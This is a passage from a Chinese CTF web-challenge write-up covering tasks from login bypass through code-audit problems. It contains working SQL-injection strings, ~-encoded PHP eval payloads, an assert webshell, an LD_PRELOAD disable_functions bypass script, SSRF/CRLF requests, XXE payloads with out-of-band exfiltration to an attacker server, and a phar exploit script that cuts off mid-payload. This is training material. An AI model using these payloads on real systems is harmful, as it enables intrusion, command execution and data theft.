Syclover-Web题解

目录

1、打比赛前先撸一只猫!

2、你看见过我的菜刀么

3、BurpSuiiiiiit!!!

4、性感潇文清,在线算卦

5、Easysql

6、RCE me

7、李三的代码审计笔记第一页

8、服务端检测系统

9、Lovelysql

10、性感黄阿姨,在线聊天

11、李三的代码审计笔记第二页

12、Babysql

13、神秘的三叶草

14、Eval evil code

15、Jiang‘s Secret

16、Hardsql

17、你有特洛伊么

18、Leixiao's blog

19、反序列化1.0

20、又来一只猫

21、你有初恋吗

22、Finalsql

23、你读懂潇文清的网站了吗 



1、打比赛前先撸一只猫!

题目描述:打比赛前先撸一只猫!: 猫猫陪我打ctf!

hint:撸猫:https://www.cnblogs.com/ranyonsue/p/5984001.html

打开题目给的地址,直接F12查看源码,发现关键代码,上面的flag是假的,在地址后面加上?cat=dog得到真正的flag

2、你看见过我的菜刀么

题目描述:你看见过我的菜刀么

hint:菜刀:https://qq52o.me/2277.html

打开地址发现典型的一句话,直接上菜刀连接,密码是Syc,找一下就能得到flag

3、BurpSuiiiiiit!!!

题目描述:拿起你的burp,开始战斗吧 附件: 链接:https://share.weiyun.com/5WD42Vt 密码:zp5sy9 备用链接:http://geek.sycsec.com:44444/static/file/Burp.zip

下载附件,打开自己的burpsuit,找到拓展模块,加载这个文件,查看错误信息,就可以得到flag

4、性感潇文清,在线算卦

题目描述:动作快点才能算到好卦。

打开地址,F12查看源码,看到关键代码。

主要代码:最后有提示,条件竞争(可以自行百度)

这段代码的意思大概就是先创建一个文件夹,然后在这个文件夹下面会新建一个以你输入的用户名sha1加密后为名的文件,flag会被写入到这个文件中,然后这个路径会被打印出来,但是0.1秒会马上重新写入you are too slow!所以直接访问得不到flag,所以就是要在它重新写入之前访问,两种方法,写脚本或者用burpsuit爆破,时间久点

<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath);
        umask($oldmask);
    }
    if ((@$_GET['u']) && (@$_GET['p'])) {
        $content = '***************';
        file_put_contents("$savepath" . sha1($_GET['u']), $content);
        $msg = 'Ding!你的算卦结果就在这儿啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";
        echo $msg;
        usleep(100000);
        @$content = "you are too slow";
        file_put_contents("$savepath" . sha1($_GET['u']), $content);
    }

试试条件竞争吧?
-->

脚本代码,运行起来然后访问他给你的网址

import requests
while 1:
    requests.get('http://148.70.59.198:42534/?u=1&p=1')

访问http://148.70.59.198:42534/?u=1&p=1,burpsuit抓包,直接将密码或者其他没用的设为变量,可以设为数字从1到10000000(随便多大,久就行了),然后访问它给你的网址

5、Easysql

题目描述:最近我做了一个小网站,我把flag放在里面了,不过我没有把登陆密码告诉任何人,所以你们是拿不到flag的!

打开地址,直接万能密码登录拿到flag,username:admin'or 1#,password:1

6、RCE me

题目描述:I don't think U can system RCE,prove to me

题目代码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

参考文章:https://www.cnblogs.com/BOHB-yunying/p/11706255.html

主要是利用"~"来绕过限制

$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo

然后访问http://114.116.44.23:40001/?code=(~%8F%97%8F%96%91%99%90)();查看禁用函数

常用的系统函数基本被禁掉了,先用scandir读取一下目录

print_r(scandir('./'));

进行编码

$a = "print_r";
echo urlencode(~$a).'<br>';
$a = "scandir";
echo urlencode(~$a);
%8F%8D%96%91%8B%A0%8D //print_r
%8C%9C%9E%91%9B%96%8D //scandir
访问地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));
读取当前目录下的文件

 

访问地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("/")));
读取根目录下的文件

 发现flag和readflag两个

使用readfile('/flag')和readfile('/readflag')读取两个文件内容
%8D%9A%9E%9B%99%96%93%9A  # readfile
%D0%99%93%9E%98   # /flag
%D0%8D%9A%9E%9B%99%93%9E%98   # /readflag

 

访问地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%99%93%9E%98));
读取根目录下的flag文件 没有东西
访问地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));
读取根目录下的readflag文件 发现是二进制文件,猜测应该是运行这个可执行文件,然后得到flag

 由于之前的禁用函数没有包含aasert,所以尝试使用assert函数写shell

assert($_POST['a']);

 

%9E%8C%8C%9A%8D%8B    # assert
%DB%A0%AF%B0%AC%AB    # $_POST
%9E   # a
%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2  #$_POST["a"]
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);  //全拆开编码
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2));  //后面一起编码

原文章是一起编码访问不了,我没有出现这种情况,但是这里两种方法都没有读取到东西

在查看tmp目录下发现有其他内容

%8F%8D%96%91%8B%A0%8D    #print_r
%8C%9C%9E%91%9B%96%8D    #scan_dir
%D0%8B%92%8F             #/tmp
访问网址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0%8B%92%8F));
查看/tmp下的文件

随便找一个像shell的php文件,读取内容,这里看的是hack.php,不能直接看到,需要F12查看源码

访问网址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F));

尝试文件包含,测试一下脚本是否可用

%9E%8C%8C%9A%8D%8B    #assert
%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4   #include("/tmp/hack.php")

访问网址:http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));
post数据:test=phpinfo();

成功访问,直接上菜刀进行连接

接下来就是上传bypass脚本和拓展库,下面两个是原文链接的

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

我在原代码baypass_disablefunc.php把get方式改成了post,上传这个文件

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_POST["cmd"];
    $out_path = $_POST["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_POST["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

然后上传第二个链接里面的bypass_disablefunc_x64.so,最后文件包含我们的上传的bypass文件,得到flag

http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%95%95%95%D1%8F%97%8F%DD%D6%C4));   #assert(include("jjj.php"))


post数据:cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.so

cmd:要执行的文件
outpath:输出路径
sopath:上传的拓展库

记录一下淚笑师傅在群里给的两篇借鉴文章

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/leixiao-/p/10612798.html

这里在推一手官方的题解

https://evoa.me/index.php/archives/62/

7、李三的代码审计笔记第一页

题目描述:Talk is easy ,show me the code.

打开文件得到源代码:

<?php
    highlight_file(__FILE__);
    error_reporting(E_ALL);
    ini_set("max_execution_time", "60");

    empty($_GET["url"]) && die();
    $password = "If I knew where I would die, I would never go there.";
    $arr = explode(' ', $password);

    function startsWith($haystack, $needle)
    {
         $length = strlen($needle);
         return (substr($haystack, 0, $length) === $needle);
    }
    
    $url = $_GET["url"];

    if (!startsWith($url,"http://"))
    {
        die("Not allow !");
    }


    for($i=0; $i<count($arr); $i++)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 3); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        $output = curl_exec($ch);
        curl_close($ch);
        
        if ($output === $arr[$i])
        {
            if($i == sizeof($arr)-1)
            {
                echo "Congratulations. Flag is  SYC{********************************}";
            }
            else
            {
                continue;
            }
        }
        else
        {   
            die("password is wrong");
        }
    }

?>

直接上脚本,由于这里我是本地调试,所以两个sleep的时间都是一秒,但是公网服务器可能会有延迟,所以sleep的时间需要自己调,先运行脚本,再访问网址,访问的网址是http://ctf1.redteam.today:8081/?url=http://你的公网地址/1.php

import time
str=['If','I','knew','where','I','would','die,','I','would','never','go','there.']
for i in range(len(str)+1):
    f=open('1.php','w')
    payload=str[i]+'<?php sleep(1);?>'
    f.write(payload)
    f.close
    time.sleep(1)

下面记录一下官方的脚本

import flask
import datetime

server=flask.Flask(__name__)
data="If I knew where I would die, I would never go there."
data=data.split(" ")
data.reverse

@server.route('/',methods=['post','get'])
def index():
return data.pop()

server.run(port=8888)

8、服务端检测系统

题目描述:emm,自己看

hint:ssrf && crlf

打开网址,F12查看源码,关键代码如下

<!-- /admin.php -->
<!--
    if(isset($_POST['method']) && isset($_POST['url']) ){
        $method=$_POST['method'];
        $url=$_POST['url'];

        if(preg_match('/^http:\/\//i',$url)){
            $opts = array(
                'http'=>array(
                    'method'=>$method,
                    'timeout'=>3
                )
            );

            $context = stream_context_create($opts);
            $body = @file_get_contents($url."/anything", false, $context);

            if(isset($http_response_header)){
                preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);
                if(isset($matches[1])){
                    echo "服务端支持的请求方法有:".$matches[1];
                }else{
                    echo "failed<br>";
                    echo sprintf("body length of $method%d", $body);
                }
                
            }else{
                echo "error";
            }
        }else{
            echo 'not allowed';
        }

    }
-->

分析代码可得,url和method可控,但url必须http://开头

访问admin.php页面显示only 127.0.0.1 can visit it,又提示说ssrf,说明肯定是利用index.php的功能来ssrf

输入的url会被拼接上/anything,然后默认以options请求方法访问,一次得到Allow返回头

下面就是参考的官方思路

想访问/admin.php就得绕过/anything后缀,这里可以用?,然后method也改成GET尝试

url=http://127.0.0.1/admin.php?&method=GET

显示failed是因为采用GET请求方式,服务端是不会返回Allow头的

而且这里的ssrf也没有直接的回显,只有类似响应体长度的语句

但是之前的代码中sprintf("body length of $method%d", $body);这句代码有错误

因为$method这个变量是我们可控的,然后%%是会被转义成实义的%,那么我们如果将$method的值传入为%s%,那么最后拼接成的语句就会是sprintf("body length of %s%%d", $body);,那后面的%%d会被转义成%d,不起作用了,那么$body的值就会通过%s打印出来,最后显示的内容就是body length of 返回的数据%d

因为method是作为请求方式去发起http请求的,那么其实发出请求包是这样的

%s%/admin.php?/anything HTTP/1.0
Host: 127.0.0.1

%s%自然是不能作为一个正常的请求头,但是某些中间件可能也会当做GET请求来响应,比如当前环境中是会正常返回admin.php页面内容的

发现需要我们POST一个值为yes的iwantflag参数上去才会显示flag,想要构造POST请求包就有回到了$method这个变量来

发现这里用的是file_get_contents()函数来发起HTTP请求,一些配置选项包括这里的请求方式是作为一个数组通过stream_context_create()处理后传入的。其实这里就存在crlf注入漏洞,及我们可以完全自己构造一个完整的POST包发出去

具体如下

url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host:x
Content-Type: application/x-www-form-urlencoded Content-Length:50

iwantflag=yes%26b=%s%

成功获得flag

9、Lovelysql

题目描述:上次是我粗心大意,看来不能直接放在网页上了!

打开网址,发现是上次sql注入的进阶版

http://118.25.14.40:8101/check.php?username=admin%27order+by+3%23&password=123    #字段数为3
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,3%23&password=123    #得到报错回显的数字为1,2
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,database()%23&password=123    #得到数据库名 geek
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=123    #得到表名geekuser,l0ve1ysq1
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27l0ve1ysq1%27%23&password=123 得到字段名id,username,password
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(username,0x7e,password)%20from%20l0ve1ysq1%23&password=123    #得到flag

10、性感黄阿姨,在线聊天

题目描述:听说她有很多小秘密和表情包哦,当然也有你们最想要的flag!

hint:weak php && xxe

打开网址,在下面框内随便输入什么之后,她会要你直接问她要flag,但是输入flag之后,会打印“你只是我guest”

抓包,发现guest,将它改为admin,然后forward

得到一段提示信息

这里利用弱php的特性,推荐文章:https://www.cnblogs.com/liangxiyang/p/10925792.html

PHP中有两种比较符号,“==”与“===”。“==”我们称之为等值符,当等号两边为相同类型时,直接比较值是否相等;当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较,如果比较一个数字和字符串或者涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照常数值进行比较。

<?php
var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true 
?> 
当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

直接发送到intruder模块,将"guest"设为变量,从0爆破到1000

发现为375的时候跟其他都不一样,抓包改为375发现信息,得到flag存放的位置

提示说xxe,所以把数据包改为xml格式,Content-Type改为xml

后端成功解析

这里可以直接回显也可以盲注

直接回显我做的时候不知道为什么不行,可能哪里有点小错误,再加之分数高,以为没那么简单,所以是盲注出来的

但是看了官方wp之后,这题是可以直接回显的

下面就是参考的官方wp
这里357为什么绕不过去了,因为json是可以传递数字和字符串的,区别就是两侧有无引号,而xml只能传递字符串
那么现在就可以构造XXE来读取文件了,而回显点就是name
 

但是会发现直接读_f14g_Is_Here.php读不出来,这是因为php文件中有特殊字符(如<)让xml解析时出错了,可以利用php流读取

<?xml version="1.0" encoding="UTF-8" ?> 
<!DOCTYPE xxe[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./_f14g_Is_Here_.php"> 
]> 
<root>
	<name>&xxe;</name> 
	<request>flag</request> 
</root>

 

下面分享盲注也就是我的做法(想复杂了。。。)

先在自己的服务器放置一个e.xml,内容如下

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php">
<!ENTITY % int "<!ENTITY trick SYSTEM 'http://你的公网ip/ftp.txt?id=%payload;'>">
%int;

xml数据如下,但是这里不能连着出现http:,所以讲冒号url编码为%3A

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http%3A//你的公网ip/e.xml">%remote;]>
<root>
<xxx>&trick;<xxx>
</root>

 

11、李三的代码审计笔记第二页

题目描述:听说李三用这个裁剪他的头像,http://ctf1.redteam.today:8233/www.zip

记录一下官方题解:

代码如下

//upload.php

<?php

error_reporting(0);
ini_set("max_execution_time", "60");
session_start();

class Picture {
    function __construct($tmpName)
    {
        $whitelist = [
            "image/jpeg" => "jpg",
            "image/svg+xml" => "svg"
        ];

        $this->tmpName = $tmpName;
        $this->mimeType = mime_content_type($tmpName);


        if (!array_key_exists($this->mimeType, $whitelist)) {
            $this->jsonencode = json_encode(array("error"=>"图片不符合要求格式"));
            exit();
        }
        
        $this->getPictureSize($this->tmpName, $this->mimeType);

        if ($this->width * $this->height > 1500 * 1500) {
            $this->jsonencode = json_encode(array("error"=>"图片过大"));
            exit();
        }

        $this->extension = "." . $whitelist[$this->mimeType];
        $this->fileName = md5(random_bytes(10));
        $this->sandbox = $filePath = "picture/" . md5(session_id()) . "/";
    }

    function getPictureSize($file, $mimeType) {
        if ($mimeType == "image/jpeg") {
            $size = getimagesize($file);
            $this->width = (int) $size[0];
            $this->height = (int) $size[1];
        } else {
            $xml = file_get_contents($file);
            $domcument = new DOMDocument();
            $domcument->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
            $img = simplexml_import_dom($domcument);
            $attrs = $img->attributes();
            $this->width = (int) $attrs->width;
            $this->height = (int) $attrs->height;
        }
    }
    
    function samplePicture() {
        $filePath = $this->sandbox . $this->fileName . $this->extension;
        $samplePath = $this->sandbox . $this->fileName . "_sample.jpg";
        exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);
        $jsonencode = json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));
        echo $jsonencode;
    }

    function __destruct(){
        if (!empty($this->jsonencode)){
            echo $this->jsonencode;
            return ;
        }

        if (!file_exists($this->sandbox)){
            mkdir($this->sandbox);
        }
        $fileDst = $this->sandbox . $this->fileName . $this->extension;
        move_uploaded_file($this->tmpName, $fileDst);
        $this->samplePicture();
    }

}

header('Content-Type:text/json;charset=utf-8');
new Picture($_FILES['picture']['tmp_name']);

题目考点有两个一个是xxe,一个phar的反序列化。题目的环境是flag在根目录下,但是做了权限处理需要执行根目录下的readflag程序才可以读取,所以这也是当时回复有疑惑的同学说这题不需要知道flag也能做的原因。

关于这两个考点可以参考这两篇文章 一篇文章带你深入理解漏洞之XXE漏洞利用phar拓展php反序列化漏洞攻击面

php的反序列化意味着可以控制类的属性,因此可控的$filePath最后进入exec相当于是一个命令注入漏洞。

$filePath = $this->sandbox . $this->fileName . $this->extension; 
$samplePath = $this->sandbox . $this->fileName . "_sample.jpg"; 
exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);
最后反弹shell,或者把结果重定向到web目录均可getflag。完整利用的代码如下
//python2
from sys import *
import requests
import json

host = "ctf1.redteam.today"
port = 8233
timeout = 30

ip = "http://%s:%d/" % (host, port)
session = requests.Session()

paramsMultipart = [('picture', ('phar.jpg', "\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x90\x00\x90\x00\x00\xff\xe1\x00tExif\x00\x00MM\x00*\x00\x00\x00\x08\x00\x04\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00>\x01\x1b\x00\x05\x00\x00\x00\x01\x00\x00\x00F\x01(\x00\x03\x00\x00\x00\x01\x00\x02\x00\x00\x87i\x00\x04\x00\x00\x00\x01\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x01\x00\x00\x00\x90\x00\x00\x00\x01\x00\x02\xa0\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\xa0\x03\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\xff\xed\x008Photoshop 3.0\x008BIM\x04\x04\x00\x00\x00\x00\x00\x008BIM\x04%\x00\x00\x00\x00\x00\x10\xd4\x1d\x8c\xd9\x8f\x00\xb2\x04\xe9\x80\x09\x98\xec\xf8B~\xff\xe2\x0f\xacICC_PROFILE\x00\x01\x01\x00\x00\x0f\x9cappl\x02\x10\x00\x00mntrRGB XYZ \x07\xe3\x00\x03\x00\x1d\x00\x01\x00:\x00:acspAPPL\x00\x00\x00\x00APPL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-appl\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11desc\x00\x00\x01P\x00\x00\x00bdscm\x00\x00\x01\xb4\x00\x00\x04\x84cprt\x00\x00\x068\x00\x00\x00\x23wtpt\x00\x00\x06\\\x00\x00\x00\x14rXYZ\x00\x00\x06p\x00\x00\x00\x14gXYZ\x00\x00\x06\x84\x00\x00\x00\x14bXYZ\x00\x00\x06\x98\x00\x00\x00\x14rTRC\x00\x00\x06\xac\x00\x00\x08\x0caarg\x00\x00\x0e\xb8\x00\x00\x00 vcgt\x00\x00\x0e\xd8\x00\x00\x000ndin\x00\x00\x0f\x08\x00\x00\x00>chad\x00\x00\x0fH\x00\x00\x00,mmod\x00\x00\x0ft\x00\x00\x00(bTRC\x00\x00\x06\xac\x00\x00\x08\x0cgTRC\x00\x00\x06\xac\x00\x00\x08\x0caabg\x00\x00\x0e\xb8\x00\x00\x00 aagg\x00\x00\x0e\xb8\x00\x00\x00 desc\x00\x00\x00\x00\x00\x00\x00\x08Display\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mluc\x00\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x0chrHR\x00\x00\x00\x14\x00\x00\x01\xd8koKR\x00\x00\x00\x0c\x00\x00\x01\xecnbNO\x00\x00\x00\x12\x00\x00\x01\xf8id\x00\x00\x00\x00\x00\x12\x00\x00\x02\nhuHU\x00\x00\x00\x14\x00\x00\x02\x1ccsCZ\x00\x00\x00\x16\x00\x00\x020daDK\x00\x00\x00\x1c\x00\x00\x02FnlNL\x00\x00\x00\x16\x00\x00\x02bfiFI\x00\x00\x00\x10\x00\x00\x02xitIT\x00\x00\x00\x14\x00\x00\x02\x88esES\x00\x00\x00\x12\x00\x00\x02\x9croRO\x00\x00\x00\x12\x00\x00\x02\x9cfrCA\x00\x00\x00\x16\x00\x00\x02\xaear\x00\x00\x00\x00\x00\x14\x00\x00\x02\xc4ukUA\x00\x00\x00\x1c\x00\x00\x02\xd8heIL\x00\x00\x00\x16\x00\x00\x02\xf4zhTW\x00\x00\x00\x0c\x00\x00\x03\nviVN\x00\x00\x00\x0e\x00\x00\x03\x16skSK\x00\x00\x00\x16\x00\x00\x03\x24zhCN\x00\x00\x00\x0c\x00\x00\x03\nruRU\x00\x00\x00\x24\x00\x00\x03:enGB\x00\x00\x00\x14\x00\x00\x03^frFR\x00\x00\x00\x16\x00\x00\x03rms\x00\x00\x00\x00\x00\x12\x00\x00\x03\x88hiIN\x00\x00\x00\x12\x00\x00\x03\x9athTH\x00\x00\x00\x0c\x00\x00\x03\xaccaES\x00\x00\x00\x18\x00\x00\x03\xb8enAU\x00\x00\x00\x14\x00\x00\x03^esXL\x00\x00\x00\x12\x00\x00\x02\x9cdeDE\x00\x00\x00\x10\x00\x00\x03\xd0enUS\x00\x00\x00\x12\x00\x00\x03\xe0ptBR\x00\x00\x00\x18\x00\x00\x03\xf2plPL\x00\x00\x00\x12\x00\x00\x04\nelGR\x00\x00\x00\"\x00\x00\x04\x1csvSE\x00\x00\x00\x10\x00\x00\x04>trTR\x00\x00\x00\x14\x00\x00\x04NptPT\x00\x00\x00\x16\x00\x00\x04bjaJP\x00\x00\x00\x0c\x00\x00\x04x\x00L\x00C\x00D\x00 \x00u\x00 \x00b\x00o\x00j\x00i\xce\xec\xb7\xec\x00 \x00L\x00C\x00D\x00F\x00a\x00r\x00g\x00e\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00W\x00a\x00r\x00n\x00a\x00S\x00z\x00\xed\x00n\x00e\x00s\x00 \x00L\x00C\x00D\x00B\x00a\x00r\x00e\x00v\x00n\x00\xfd\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00-\x00f\x00a\x00r\x00v\x00e\x00s\x00k\x00\xe6\x00r\x00m\x00K\x00l\x00e\x00u\x00r\x00e\x00n\x00-\x00L\x00C\x00D\x00V\x00\xe4\x00r\x00i\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00i\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00A\x00C\x00L\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r \x0f\x00L\x00C\x00D\x00 \x06E\x06D\x06H\x06F\x06)\x04\x1a\x04>\x04;\x04L\x04>\x04@\x04>\x042\x048\x049\x00 \x00L\x00C\x00D \x0f\x00L\x00C\x00D\x00 \x05\xe6\x05\xd1\x05\xe2\x05\xd5\x05\xe0\x05\xd9_i\x82r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00M\x00\xe0\x00u\x00F\x00a\x00r\x00e\x00b\x00n\x00\xfd\x00 \x00L\x00C\x00D\x04&\x042\x045\x04B\x04=\x04>\x049\x00 \x04\x16\x04\x1a\x00-\x044\x048\x04A\x04?\x04;\x045\x049\x00C\x00o\x00l\x00o\x00u\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r\x00W\x00a\x00r\x00n\x00a\x00 \x00L\x00C\x00D\x090\x09\x02\x09\x17\x09@\x09(\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x0e*\x0e5\x00L\x00C\x00D\x00 \x00e\x00n\x00 \x00c\x00o\x00l\x00o\x00r\x00F\x00a\x00r\x00b\x00-\x00L\x00C\x00D\x00C\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00C\x00o\x00l\x00o\x00r\x00i\x00d\x00o\x00K\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x03\x88\x03\xb3\x03\xc7\x03\xc1\x03\xc9\x03\xbc\x03\xb7\x00 \x03\xbf\x03\xb8\x03\xcc\x03\xbd\x03\xb7\x00 \x00L\x00C\x00D\x00F\x00\xe4\x00r\x00g\x00-\x00L\x00C\x00D\x00R\x00e\x00n\x00k\x00l\x00i\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00a\x00 \x00C\x00o\x00r\x00e\x00s0\xab0\xe90\xfc\x00L\x00C\x00Dtext\x00\x00\x00\x00Copyright Apple Inc., 2019\x00\x00XYZ \x00\x00\x00\x00\x00\x00\xf3\x16\x00\x01\x00\x00\x00\x01\x16\xcaXYZ \x00\x00\x00\x00\x00\x00\x83\x87\x00\x00=\xa9\xff\xff\xff\xbbXYZ \x00\x00\x00\x00\x00\x00K\xe5\x00\x00\xb3\xef\x00\x00\n\xddXYZ \x00\x00\x00\x00\x00\x00'j\x00\x00\x0eh\x00\x00\xc8\x95curv\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05\x00\n\x00\x0f\x00\x14\x00\x19\x00\x1e\x00\x23\x00(\x00-\x002\x006\x00;\x00@\x00E\x00J\x00O\x00T\x00Y\x00^\x00c\x00h\x00m\x00r\x00w\x00|\x00\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa3\x00\xa8\x00\xad\x00\xb2\x00\xb7\x00\xbc\x00\xc1\x00\xc6\x00\xcb\x00\xd0\x00\xd5\x00\xdb\x00\xe0\x00\xe5\x00\xeb\x00\xf0\x00\xf6\x00\xfb\x01\x01\x01\x07\x01\r\x01\x13\x01\x19\x01\x1f\x01%\x01+\x012\x018\x01>\x01E\x01L\x01R\x01Y\x01`\x01g\x01n\x01u\x01|\x01\x83\x01\x8b\x01\x92\x01\x9a\x01\xa1\x01\xa9\x01\xb1\x01\xb9\x01\xc1\x01\xc9\x01\xd1\x01\xd9\x01\xe1\x01\xe9\x01\xf2\x01\xfa\x02\x03\x02\x0c\x02\x14\x02\x1d\x02&\x02/\x028\x02A\x02K\x02T\x02]\x02g\x02q\x02z\x02\x84\x02\x8e\x02\x98\x02\xa2\x02\xac\x02\xb6\x02\xc1\x02\xcb\x02\xd5\x02\xe0\x02\xeb\x02\xf5\x03\x00\x03\x0b\x03\x16\x03!\x03-\x038\x03C\x03O\x03Z\x03f\x03r\x03~\x03\x8a\x03\x96\x03\xa2\x03\xae\x03\xba\x03\xc7\x03\xd3\x03\xe0\x03\xec\x03\xf9\x04\x06\x04\x13\x04 